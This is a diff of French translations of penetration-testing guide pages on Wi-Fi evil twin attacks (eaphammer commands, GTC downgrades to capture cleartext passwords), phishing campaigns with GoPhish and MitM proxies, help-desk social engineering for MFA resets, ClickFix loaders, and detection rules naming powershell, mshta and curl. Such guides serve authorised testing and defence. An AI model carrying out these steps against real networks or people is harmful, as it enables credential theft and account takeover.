- Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne comme un serveur EAP-PEAP ou EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
|
||||
- Dans ce scénario, tous les utilisateurs utilisent le pseudonyme "anonyme" comme identifiant utilisateur. Le serveur RADIUS initial fonctionne soit comme un serveur EAP-PEAP, soit comme un serveur EAP-TTLS, responsable de la gestion du côté serveur du protocole PEAP ou TTLS. La méthode d'authentification interne (protégée) est ensuite soit gérée localement, soit déléguée à un serveur RADIUS distant (domicile).
|
||||
- EAP-Identity = anonyme@realm_x
|
||||
- Dans cette situation, les utilisateurs de différents royaumes cachent leurs identités tout en indiquant leurs royaumes respectifs. Cela permet au serveur RADIUS initial de faire le proxy des demandes EAP-PEAP ou EAP-TTLS vers les serveurs RADIUS dans leurs royaumes d'origine, qui agissent comme le serveur PEAP ou TTLS. Le serveur RADIUS initial fonctionne uniquement comme un nœud de relais RADIUS.
|
||||
- Alternativement, le serveur RADIUS initial peut fonctionner comme le serveur EAP-PEAP ou EAP-TTLS et soit gérer la méthode d'authentification protégée, soit la transférer à un autre serveur. Cette option facilite la configuration de politiques distinctes pour divers royaumes.
|
||||
|
||||
Dans EAP-PEAP, une fois le tunnel TLS établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet à travers le tunnel TLS. Le client répond à cette seconde demande d'EAP-Identity en envoyant une réponse d'EAP-Identity contenant la véritable identité de l'utilisateur à travers le tunnel chiffré. Cette approche empêche efficacement la révélation de la véritable identité de l'utilisateur à quiconque espionnant le trafic 802.11.
|
||||
Dans EAP-PEAP, une fois le tunnel TLS établi entre le serveur PEAP et le client PEAP, le serveur PEAP initie une demande d'EAP-Identity et la transmet par le tunnel TLS. Le client répond à cette seconde demande d'EAP-Identity en envoyant une réponse d'EAP-Identity contenant la véritable identité de l'utilisateur à travers le tunnel chiffré. Cette approche empêche efficacement la révélation de la véritable identité de l'utilisateur à quiconque espionnant le trafic 802.11.
|
||||
|
||||
EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password soit un attribut CHAP-Password dans le message TLS initial envoyé après l'établissement du tunnel.
|
||||
EAP-TTLS suit une procédure légèrement différente. Avec EAP-TTLS, le client s'authentifie généralement en utilisant PAP ou CHAP, sécurisé par le tunnel TLS. Dans ce cas, le client inclut un attribut User-Name et soit un attribut Password, soit un attribut CHAP-Password dans le message TLS initial envoyé après l'établissement du tunnel.
|
||||
|
||||
Quel que soit le protocole choisi, le serveur PEAP/TTLS obtient connaissance de la véritable identité de l'utilisateur après l'établissement du tunnel TLS. La véritable identité peut être représentée comme user@realm ou simplement user. Si le serveur PEAP/TTLS est également responsable de l'authentification de l'utilisateur, il possède maintenant l'identité de l'utilisateur et procède avec la méthode d'authentification protégée par le tunnel TLS. Alternativement, le serveur PEAP/TTLS peut transférer une nouvelle demande RADIUS au serveur RADIUS d'origine de l'utilisateur. Cette nouvelle demande RADIUS omet la couche de protocole PEAP ou TTLS. Dans les cas où la méthode d'authentification protégée est EAP, les messages EAP internes sont transmis au serveur RADIUS d'origine sans l'enveloppe EAP-PEAP ou EAP-TTLS. L'attribut User-Name du message RADIUS sortant contient la véritable identité de l'utilisateur, remplaçant le User-Name anonyme de la demande RADIUS entrante. Lorsque la méthode d'authentification protégée est PAP ou CHAP (prise en charge uniquement par TTLS), les attributs User-Name et autres attributs d'authentification extraits de la charge utile TLS sont substitués dans le message RADIUS sortant, remplaçant le User-Name anonyme et les attributs TTLS EAP-Message trouvés dans la demande RADIUS entrante.
|
||||
|
||||
@ -437,7 +437,7 @@ Vous pouvez également effectuer cette attaque en utilisant `eaphammer` :
|
||||
|
||||
Avant d'expliquer comment effectuer des attaques plus complexes, il va être expliqué **comment** simplement **créer** un **AP** et **rediriger** son **trafic** vers une interface connectée **à** l'**Internet**.
|
||||
|
||||
En utilisant `ifconfig -a`, vérifiez que l'interface wlan pour créer l'AP et l'interface connectée à Internet sont présentes.
|
||||
Utilisez `ifconfig -a` pour vérifier que l'interface wlan pour créer l'AP et l'interface connectée à Internet sont présentes.
|
||||
|
||||
### DHCP & DNS
|
||||
```bash
|
||||
@ -519,13 +519,13 @@ Ou en utilisant Airgeddon : `Options : 5,6,7,8,9 (dans le menu d'attaque Evil Tw
|
||||
|
||||
.png>)
|
||||
|
||||
Veuillez noter qu'en règle générale, si un ESSID dans le PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un Evil Twin ouvert. Vous pouvez essayer de DoS le vrai AP et espérer que l'utilisateur se connecte manuellement à votre Evil Twin ouvert, ou vous pourriez DoS le vrai AP et utiliser un WPA Evil Twin pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et essayer de le cracker).
|
||||
Veuillez noter qu'en règle générale, si un ESSID dans le PNL est enregistré comme protégé par WPA, l'appareil ne se connectera pas automatiquement à un Evil Twin ouvert. Vous pouvez essayer de DoS le vrai AP et espérer que l'utilisateur se connecte manuellement à votre Evil Twin ouvert, ou vous pourriez DoS le vrai AP et utiliser un WPA Evil Twin pour capturer le handshake (en utilisant cette méthode, vous ne pourrez pas laisser la victime se connecter à vous car vous ne connaissez pas le PSK, mais vous pouvez capturer le handshake et essayer de le craquer).
|
||||
|
||||
_Certains systèmes d'exploitation et antivirus avertiront l'utilisateur que se connecter à un réseau ouvert est dangereux..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
Vous pouvez créer un **Evil Twin utilisant WPA/2** et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont essayer de se connecter. Quoi qu'il en soit, **pour compléter le 4-way-handshake**, vous devez également **connaître** le **mot de passe** que le client va utiliser. Si vous **ne le savez pas**, la **connexion ne sera pas complétée**.
|
||||
Vous pouvez créer un **Evil Twin utilisant WPA/2** et si les appareils sont configurés pour se connecter à ce SSID avec WPA/2, ils vont essayer de se connecter. Quoi qu'il en soit, **pour compléter le 4-way-handshake**, vous devez également **connaître** le **mot de passe** que le client va utiliser. Si vous **ne le connaissez pas**, la **connexion ne sera pas complétée**.
|
||||
```bash
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
@ -556,11 +556,11 @@ Par défaut, EAPHammer propose ces méthodes d'authentification (notez GTC comme
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cependant, vous pouvez également spécifier au serveur les méthodes d'authentification du plus faible au plus fort :
|
||||
C'est la méthodologie par défaut pour éviter de longs temps de connexion. Cependant, vous pouvez également spécifier de servir les méthodes d'authentification du plus faible au plus fort :
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
Ou vous pourriez également utiliser :
|
||||
Ou vous pouvez également utiliser :
|
||||
|
||||
- `--negotiate gtc-downgrade` pour utiliser une implémentation de downgrade GTC très efficace (mots de passe en texte clair)
|
||||
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` pour spécifier manuellement les méthodes proposées (offrir les mêmes méthodes d'authentification dans le même ordre que l'organisation rendra l'attaque beaucoup plus difficile à détecter).
|
||||
@ -569,7 +569,7 @@ Ou vous pourriez également utiliser :
|
||||
**Utilisation d'Airgeddon**
|
||||
|
||||
`Airgeddon` peut utiliser des certificats précédemment générés pour offrir une authentification EAP aux réseaux WPA/WPA2-Enterprise. Le réseau factice fera rétrograder le protocole de connexion à EAP-MD5 afin de pouvoir **capturer l'utilisateur et le MD5 du mot de passe**. Plus tard, l'attaquant peut essayer de cracker le mot de passe.\
|
||||
`Airgeddon` vous offre la possibilité d'une **attaque Evil Twin continue (bruyante)** ou **de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (silencieuse).**
|
||||
`Airgeddon` vous offre la possibilité d'une **attaque Evil Twin continue (bruyante)** ou **de créer uniquement l'attaque Evil jusqu'à ce que quelqu'un se connecte (douce).**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -596,7 +596,7 @@ Et regardez le nouvel **onglet "TLS déchiffré"** :
|
||||
|
||||
### Listes noires/blanches ESSID et MAC
|
||||
|
||||
Différents types de listes de filtres d'accès aux médias (MFACLs) et leurs modes et effets correspondants sur le comportement d'un point d'accès (AP) malveillant :
|
||||
Différents types de listes de filtres de contrôle d'accès aux médias (MFACLs) et leurs modes et effets correspondants sur le comportement d'un point d'accès (AP) malveillant :
|
||||
|
||||
1. **Liste blanche basée sur MAC** :
|
||||
- Le point d'accès malveillant ne répondra qu'aux requêtes de sonde des appareils spécifiés dans la liste blanche, restant invisible à tous les autres non listés.
|
||||
@ -664,7 +664,7 @@ L'**attaque de Beacon Burst connue** implique **la diffusion rapide de trames de
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement les uns aux autres via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée dans divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les télévisions, facilitant la communication directe entre appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil joue le rôle d'un point d'accès, connu sous le nom de propriétaire de groupe, pour gérer la connexion.
|
||||
**Wi-Fi Direct** est un protocole permettant aux appareils de se connecter directement les uns aux autres via Wi-Fi sans avoir besoin d'un point d'accès sans fil traditionnel. Cette capacité est intégrée dans divers appareils de l'Internet des objets (IoT), tels que les imprimantes et les téléviseurs, facilitant la communication directe entre appareils. Une caractéristique notable de Wi-Fi Direct est qu'un appareil joue le rôle d'un point d'accès, connu sous le nom de propriétaire de groupe, pour gérer la connexion.
|
||||
|
||||
La sécurité des connexions Wi-Fi Direct est établie par **Wi-Fi Protected Setup (WPS)**, qui prend en charge plusieurs méthodes de couplage sécurisé, notamment :
|
||||
|
||||
@ -676,7 +676,7 @@ Ces méthodes, en particulier la saisie de PIN, sont susceptibles aux mêmes vul
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking** est une attaque spécifique à Wi-Fi Direct. Elle reflète le concept d'une attaque Evil Twin mais cible les connexions Wi-Fi Direct. Dans ce scénario, un attaquant se fait passer pour un propriétaire de groupe légitime dans le but de tromper les appareils pour qu'ils se connectent à une entité malveillante. Cette méthode peut être exécutée à l'aide d'outils comme `airbase-ng` en spécifiant le canal, l'ESSID et l'adresse MAC de l'appareil usurpé :
|
||||
**EvilDirect Hijacking** est une attaque spécifique à Wi-Fi Direct. Elle reflète le concept d'une attaque Evil Twin mais cible les connexions Wi-Fi Direct. Dans ce scénario, un attaquant se fait passer pour un propriétaire de groupe légitime dans le but de tromper les appareils pour qu'ils se connectent à une entité malveillante. Cette méthode peut être exécutée en utilisant des outils comme `airbase-ng` en spécifiant le canal, l'ESSID et l'adresse MAC de l'appareil usurpé :
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,44 +1,44 @@
|
||||
# Méthodologie de Phishing
|
||||
# Phishing Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Méthodologie
|
||||
## Methodology
|
||||
|
||||
1. Reconnaître la victime
|
||||
1. Sélectionner le **domaine de la victime**.
|
||||
2. Effectuer une énumération web de base **à la recherche de portails de connexion** utilisés par la victime et **décider** lequel vous allez **imiter**.
|
||||
3. Utiliser des **OSINT** pour **trouver des emails**.
|
||||
2. Préparer l'environnement
|
||||
1. **Acheter le domaine** que vous allez utiliser pour l'évaluation de phishing.
|
||||
2. **Configurer le service email** et les enregistrements associés (SPF, DMARC, DKIM, rDNS).
|
||||
3. Configurer le VPS avec **gophish**.
|
||||
1. **Acheter le domaine** que vous allez utiliser pour l'évaluation de phishing
|
||||
2. **Configurer le service email** et les enregistrements associés (SPF, DMARC, DKIM, rDNS)
|
||||
3. Configurer le VPS avec **gophish**
|
||||
3. Préparer la campagne
|
||||
1. Préparer le **modèle d'email**.
|
||||
2. Préparer la **page web** pour voler les identifiants.
|
||||
1. Préparer le **modèle d'email**
|
||||
2. Préparer la **page web** pour voler les identifiants
|
||||
4. Lancer la campagne !
|
||||
|
||||
## Générer des noms de domaine similaires ou acheter un domaine de confiance
|
||||
|
||||
### Techniques de Variation de Noms de Domaine
|
||||
### Techniques de variation de nom de domaine
|
||||
|
||||
- **Mot-clé** : Le nom de domaine **contient** un **mot-clé** important du domaine original (par exemple, zelster.com-management.com).
|
||||
- **sous-domaine hyphéné** : Changer le **point par un tiret** d'un sous-domaine (par exemple, www-zelster.com).
|
||||
- **Nouveau TLD** : Même domaine utilisant un **nouveau TLD** (par exemple, zelster.org).
|
||||
- **Homoglyphes** : Il **remplace** une lettre dans le nom de domaine par des **lettres qui se ressemblent** (par exemple, zelfser.com).
|
||||
- **Nouveau TLD** : Même domaine utilisant un **nouveau TLD** (par exemple, zelster.org)
|
||||
- **Homoglyph** : Il **remplace** une lettre dans le nom de domaine par **des lettres qui se ressemblent** (par exemple, zelfser.com).
|
||||
|
||||
{{#ref}}
|
||||
homograph-attacks.md
|
||||
{{#endref}}
|
||||
- **Transposition** : Il **échange deux lettres** dans le nom de domaine (par exemple, zelsetr.com).
|
||||
- **Singularisation/Pluralisation** : Ajoute ou enlève un "s" à la fin du nom de domaine (par exemple, zeltsers.com).
|
||||
- **Transposition :** Il **échange deux lettres** dans le nom de domaine (par exemple, zelsetr.com).
|
||||
- **Singularisation/Pluralisation** : Ajoute ou enlève un “s” à la fin du nom de domaine (par exemple, zeltsers.com).
|
||||
- **Omission** : Il **supprime une** des lettres du nom de domaine (par exemple, zelser.com).
|
||||
- **Répétition** : Il **répète une** des lettres dans le nom de domaine (par exemple, zeltsser.com).
|
||||
- **Remplacement** : Comme homoglyphes mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
|
||||
- **Répétition :** Il **répète une** des lettres dans le nom de domaine (par exemple, zeltsser.com).
|
||||
- **Remplacement** : Comme homoglyph mais moins furtif. Il remplace une des lettres dans le nom de domaine, peut-être par une lettre proche de la lettre originale sur le clavier (par exemple, zektser.com).
|
||||
- **Sous-domaine** : Introduire un **point** à l'intérieur du nom de domaine (par exemple, ze.lster.com).
|
||||
- **Insertion** : Il **insère une lettre** dans le nom de domaine (par exemple, zerltser.com).
|
||||
- **Point manquant** : Ajouter le TLD au nom de domaine. (par exemple, zelstercom.com)
|
||||
|
||||
**Outils Automatiques**
|
||||
**Outils automatiques**
|
||||
|
||||
- [**dnstwist**](https://github.com/elceef/dnstwist)
|
||||
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
|
||||
@ -55,9 +55,9 @@ Il y a une **possibilité qu'un des bits stockés ou en communication puisse êt
|
||||
|
||||
Lorsque ce concept est **appliqué aux requêtes DNS**, il est possible que le **domaine reçu par le serveur DNS** ne soit pas le même que le domaine initialement demandé.
|
||||
|
||||
Par exemple, une seule modification de bit dans le domaine "windows.com" peut le changer en "windnws.com".
|
||||
Par exemple, une seule modification de bit dans le domaine "windows.com" peut le changer en "windnws.com."
|
||||
|
||||
Les attaquants peuvent **profiter de cela en enregistrant plusieurs domaines à bit-flipping** qui sont similaires au domaine de la victime. Leur intention est de rediriger les utilisateurs légitimes vers leur propre infrastructure.
|
||||
Les attaquants peuvent **profiter de cela en enregistrant plusieurs domaines à inversion de bits** qui sont similaires au domaine de la victime. Leur intention est de rediriger les utilisateurs légitimes vers leur propre infrastructure.
|
||||
|
||||
Pour plus d'informations, lisez [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
|
||||
|
||||
@ -69,7 +69,7 @@ Pour vous assurer que le domaine expiré que vous allez acheter **a déjà un bo
|
||||
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
|
||||
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
|
||||
|
||||
## Découverte d'Emails
|
||||
## Découverte d'emails
|
||||
|
||||
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% gratuit)
|
||||
- [https://phonebook.cz/](https://phonebook.cz) (100% gratuit)
|
||||
@ -78,7 +78,7 @@ Pour vous assurer que le domaine expiré que vous allez acheter **a déjà un bo
|
||||
- [https://anymailfinder.com/](https://anymailfinder.com)
|
||||
|
||||
Pour **découvrir plus** d'adresses email valides ou **vérifier celles** que vous avez déjà découvertes, vous pouvez vérifier si vous pouvez forcer les serveurs smtp de la victime. [Apprenez à vérifier/découvrir une adresse email ici](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
|
||||
De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour accéder à leurs mails**, vous pouvez vérifier s'il est vulnérable à **la force brute sur les noms d'utilisateur**, et exploiter la vulnérabilité si possible.
|
||||
De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour accéder à leurs mails**, vous pouvez vérifier s'il est vulnérable à **la force brute sur le nom d'utilisateur**, et exploiter la vulnérabilité si possible.
|
||||
|
||||
## Configuration de GoPhish
|
||||
|
||||
@ -87,7 +87,7 @@ De plus, n'oubliez pas que si les utilisateurs utilisent **un portail web pour a
|
||||
Vous pouvez le télécharger depuis [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
|
||||
|
||||
Téléchargez-le et décompressez-le dans `/opt/gophish` et exécutez `/opt/gophish/gophish`\
|
||||
Un mot de passe pour l'utilisateur admin sur le port 3333 vous sera donné dans la sortie. Par conséquent, accédez à ce port et utilisez ces identifiants pour changer le mot de passe admin. Vous devrez peut-être faire un tunnel de ce port vers local :
|
||||
Un mot de passe pour l'utilisateur admin sera donné sur le port 3333 dans la sortie. Par conséquent, accédez à ce port et utilisez ces identifiants pour changer le mot de passe admin. Vous devrez peut-être faire un tunnel de ce port vers local :
|
||||
```bash
|
||||
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
|
||||
```
|
||||
@ -227,7 +227,7 @@ service gophish stop
|
||||
|
||||
### Attendre & être légitime
|
||||
|
||||
Plus un domaine est ancien, moins il est probable qu'il soit considéré comme du spam. Vous devriez donc attendre le plus longtemps possible (au moins 1 semaine) avant l'évaluation de phishing. De plus, si vous mettez en place une page sur un secteur réputé, la réputation obtenue sera meilleure.
|
||||
Plus un domaine est ancien, moins il est probable qu'il soit considéré comme du spam. Vous devriez donc attendre le plus longtemps possible (au moins 1 semaine) avant l'évaluation de phishing. De plus, si vous mettez en place une page sur un secteur de réputation, la réputation obtenue sera meilleure.
|
||||
|
||||
Notez que même si vous devez attendre une semaine, vous pouvez terminer la configuration de tout maintenant.
|
||||
|
||||
@ -348,7 +348,7 @@ Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'u
|
||||
.png>)
|
||||
|
||||
> [!TIP]
|
||||
> Le modèle d'email permet également de **joindre des fichiers à envoyer**. Si vous souhaitez également voler des défis NTLM en utilisant des fichiers/documents spécialement conçus [lisez cette page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
> Le modèle d'email permet également de **joindre des fichiers à envoyer**. Si vous souhaitez également voler des défis NTLM en utilisant des fichiers/documents spécialement conçus, [lisez cette page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
|
||||
|
||||
### Page de destination
|
||||
|
||||
@ -364,7 +364,7 @@ Notez que **pour augmenter la crédibilité de l'email**, il est recommandé d'u
|
||||
> Notez que si vous avez besoin d'**utiliser des ressources statiques** pour le HTML (peut-être des pages CSS et JS), vous pouvez les enregistrer dans _**/opt/gophish/static/endpoint**_ et ensuite y accéder depuis _**/static/\<filename>**_
|
||||
|
||||
> [!TIP]
|
||||
> Pour la redirection, vous pourriez **rediriger les utilisateurs vers la véritable page web principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre un **roue qui tourne** (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes et ensuite indiquer que le processus a été réussi**.
|
||||
> Pour la redirection, vous pourriez **rediriger les utilisateurs vers la vraie page web principale** de la victime, ou les rediriger vers _/static/migration.html_ par exemple, mettre un **roue qui tourne** (**[**https://loading.io/**](https://loading.io)**) pendant 5 secondes et ensuite indiquer que le processus a été réussi**.
|
||||
|
||||
### Utilisateurs & Groupes
|
||||
|
||||
@ -386,9 +386,9 @@ Notez que le **profil d'envoi permet d'envoyer un email test pour voir à quoi r
|
||||
|
||||
Une fois que tout est prêt, lancez simplement la campagne !
|
||||
|
||||
## Clonage de site Web
|
||||
## Clonage de site web
|
||||
|
||||
Si pour une raison quelconque vous souhaitez cloner le site Web, consultez la page suivante :
|
||||
Si pour une raison quelconque vous souhaitez cloner le site web, consultez la page suivante :
|
||||
|
||||
{{#ref}}
|
||||
clone-a-website.md
|
||||
@ -407,7 +407,7 @@ phishing-documents.md
|
||||
|
||||
### Via Proxy MitM
|
||||
|
||||
L'attaque précédente est assez astucieuse car vous simulez un vrai site Web et collectez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'identité de l'utilisateur trompé**.
|
||||
L'attaque précédente est assez astucieuse car vous simulez un vrai site web et collectez les informations fournies par l'utilisateur. Malheureusement, si l'utilisateur n'a pas saisi le bon mot de passe ou si l'application que vous avez simulée est configurée avec 2FA, **ces informations ne vous permettront pas d'usurper l'identité de l'utilisateur trompé**.
|
||||
|
||||
C'est là que des outils comme [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) et [**muraena**](https://github.com/muraenateam/muraena) sont utiles. Cet outil vous permettra de générer une attaque de type MitM. En gros, l'attaque fonctionne de la manière suivante :
|
||||
|
||||
@ -426,13 +426,13 @@ Vous pouvez faire cela avec [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVN
|
||||
Évidemment, l'un des meilleurs moyens de savoir si vous avez été démasqué est de **chercher votre domaine dans les listes noires**. S'il apparaît, d'une manière ou d'une autre, votre domaine a été détecté comme suspect.\
|
||||
Un moyen facile de vérifier si votre domaine apparaît dans une liste noire est d'utiliser [https://malwareworld.com/](https://malwareworld.com)
|
||||
|
||||
Cependant, il existe d'autres moyens de savoir si la victime **cherche activement des activités de phishing suspectes dans la nature** comme expliqué dans :
|
||||
Cependant, il existe d'autres moyens de savoir si la victime **cherche activement des activités de phishing suspectes dans la nature**, comme expliqué dans :
|
||||
|
||||
{{#ref}}
|
||||
detecting-phising.md
|
||||
{{#endref}}
|
||||
|
||||
Vous pouvez **acheter un domaine avec un nom très similaire** à celui du domaine de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une sorte d'**interaction DNS ou HTTP** avec eux, vous saurez qu'**il recherche activement** des domaines suspects et vous devrez être très discret.
|
||||
Vous pouvez **acheter un domaine avec un nom très similaire** à celui du domaine de la victime **et/ou générer un certificat** pour un **sous-domaine** d'un domaine contrôlé par vous **contenant** le **mot-clé** du domaine de la victime. Si la **victime** effectue une sorte d'**interaction DNS ou HTTP** avec eux, vous saurez qu'elle **cherche activement** des domaines suspects et vous devrez être très discret.
|
||||
|
||||
### Évaluer le phishing
|
||||
|
||||
@ -444,14 +444,14 @@ Les ensembles d'intrusion modernes contournent de plus en plus complètement les
|
||||
|
||||
### Flux d'attaque
|
||||
1. Reconnaissance de la victime
|
||||
* Collectez des détails personnels et d'entreprise à partir de LinkedIn, des violations de données, de GitHub public, etc.
|
||||
* Identifiez des identités de grande valeur (dirigeants, informatique, finance) et énumérez le **processus exact du support technique** pour la réinitialisation du mot de passe / MFA.
|
||||
* Collectez des détails personnels et d'entreprise à partir de LinkedIn, de violations de données, de GitHub public, etc.
|
||||
* Identifiez des identités de grande valeur (dirigeants, informatique, finance) et énumérez le **processus exact du support technique** pour la réinitialisation de mot de passe / MFA.
|
||||
2. Ingénierie sociale en temps réel
|
||||
* Appelez, utilisez Teams ou discutez avec le support technique tout en usurpant la cible (souvent avec un **ID d'appel falsifié** ou une **voix clonée**).
|
||||
* Fournissez les PII collectées précédemment pour passer la vérification basée sur les connaissances.
|
||||
* Convainquez l'agent de **réinitialiser le secret MFA** ou d'effectuer un **échange de carte SIM** sur un numéro de mobile enregistré.
|
||||
3. Actions immédiates après accès (≤60 min dans des cas réels)
|
||||
* Établissez un point d'ancrage via n'importe quel portail SSO web.
|
||||
* Établissez une prise de contrôle via n'importe quel portail SSO web.
|
||||
* Énumérez AD / AzureAD avec des outils intégrés (aucun binaire déposé) :
|
||||
```powershell
|
||||
# lister les groupes de répertoire & rôles privilégiés
|
||||
@ -471,14 +471,14 @@ Get-MgUserRegisteredDevice -UserId <user@corp.local>
|
||||
* Méthode MFA changée + authentification depuis un nouvel appareil / géo.
|
||||
* Élévation immédiate du même principal (utilisateur-→-admin).
|
||||
* Enregistrez les appels du support technique et imposez un **appel de retour à un numéro déjà enregistré** avant toute réinitialisation.
|
||||
* Mettez en œuvre un **Accès Juste à Temps (JIT) / Accès Privilégié** afin que les comptes nouvellement réinitialisés ne **n'héritent pas automatiquement de jetons à haut privilège**.
|
||||
* Mettez en œuvre un **Accès Juste à Temps (JIT) / Accès Privilégié** afin que les comptes nouvellement réinitialisés ne **héritent pas automatiquement de jetons à haut privilège**.
|
||||
|
||||
---
|
||||
|
||||
## Tromperie à grande échelle – Empoisonnement SEO & Campagnes “ClickFix”
|
||||
## Tromperie à grande échelle – Poisonnement SEO & Campagnes “ClickFix”
|
||||
Les équipes de commodité compensent le coût des opérations à fort contact avec des attaques de masse qui transforment **les moteurs de recherche et les réseaux publicitaires en canal de livraison**.
|
||||
|
||||
1. **L'empoisonnement SEO / malvertising** pousse un faux résultat tel que `chromium-update[.]site` en haut des annonces de recherche.
|
||||
1. **Le poisonnement SEO / malvertising** pousse un faux résultat tel que `chromium-update[.]site` en haut des annonces de recherche.
|
||||
2. La victime télécharge un petit **chargeur de première étape** (souvent JS/HTA/ISO). Exemples vus par l'Unité 42 :
|
||||
* `RedLine stealer`
|
||||
* `Lumma stealer`
|
||||
@ -503,11 +503,11 @@ and child_image: *\\*.exe
|
||||
## Opérations de phishing améliorées par l'IA
|
||||
Les attaquants enchaînent désormais des **API LLM & de clonage vocal** pour des leurres entièrement personnalisés et une interaction en temps réel.
|
||||
|
||||
| Couche | Utilisation exemple par l'acteur de menace |
|
||||
| Couche | Exemple d'utilisation par l'acteur de menace |
|
||||
|-------|-----------------------------|
|
||||
|Automatisation|Générer et envoyer >100 k emails / SMS avec un wording randomisé et des liens de suivi.|
|
||||
|IA générative|Produire des emails *uniques* faisant référence à des fusions et acquisitions publiques, des blagues internes des réseaux sociaux ; voix de PDG deep-fake dans une escroquerie de rappel.|
|
||||
|IA agentique|Enregistrer des domaines de manière autonome, extraire des informations open-source, rédiger des mails de prochaine étape lorsqu'une victime clique mais ne soumet pas d'identifiants.|
|
||||
|IA agentique|Enregistrer de manière autonome des domaines, extraire des informations ouvertes, rédiger des mails de prochaine étape lorsqu'une victime clique mais ne soumet pas d'identifiants.|
|
||||
|
||||
**Défense :**
|
||||
• Ajoutez des **bannières dynamiques** mettant en évidence les messages envoyés par une automatisation non fiable (via des anomalies ARC/DKIM).
|
||||
@ -516,7 +516,7 @@ Les attaquants enchaînent désormais des **API LLM & de clonage vocal** pour de
|
||||
|
||||
---
|
||||
|
||||
## Fatigue MFA / Variante de bombardement de push – Réinitialisation forcée
|
||||
## Fatigue MFA / Variante de Bombardement de Push – Réinitialisation forcée
|
||||
En plus du bombardement classique par push, les opérateurs **forcent simplement un nouvel enregistrement MFA** lors de l'appel au support technique, annulant le jeton existant de l'utilisateur. Tout prompt de connexion ultérieur apparaît légitime pour la victime.
|
||||
```text
|
||||
[Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?”
|
||||
|
@ -59,7 +59,7 @@ L'appel **mshta** lance un script PowerShell caché qui récupère `PartyContinu
|
||||
|
||||
## Détection & Chasse
|
||||
|
||||
Les équipes bleues peuvent combiner la télémétrie du presse-papiers, de la création de processus et du registre pour identifier les abus de pastejacking :
|
||||
Les équipes de sécurité peuvent combiner la télémétrie du presse-papiers, de la création de processus et du registre pour identifier les abus de pastejacking :
|
||||
|
||||
* Registre Windows : `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` conserve un historique des commandes **Win + R** – recherchez des entrées Base64 / obfusquées inhabituelles.
|
||||
* ID d'événement de sécurité **4688** (Création de processus) où `ParentImage` == `explorer.exe` et `NewProcessName` dans { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
|
||||
@ -68,14 +68,14 @@ Les équipes bleues peuvent combiner la télémétrie du presse-papiers, de la c
|
||||
|
||||
## Atténuations
|
||||
|
||||
1. Renforcement du navigateur – désactiver l'accès en écriture au presse-papiers (`dom.events.asyncClipboard.clipboardItem` etc.) ou exiger un geste de l'utilisateur.
|
||||
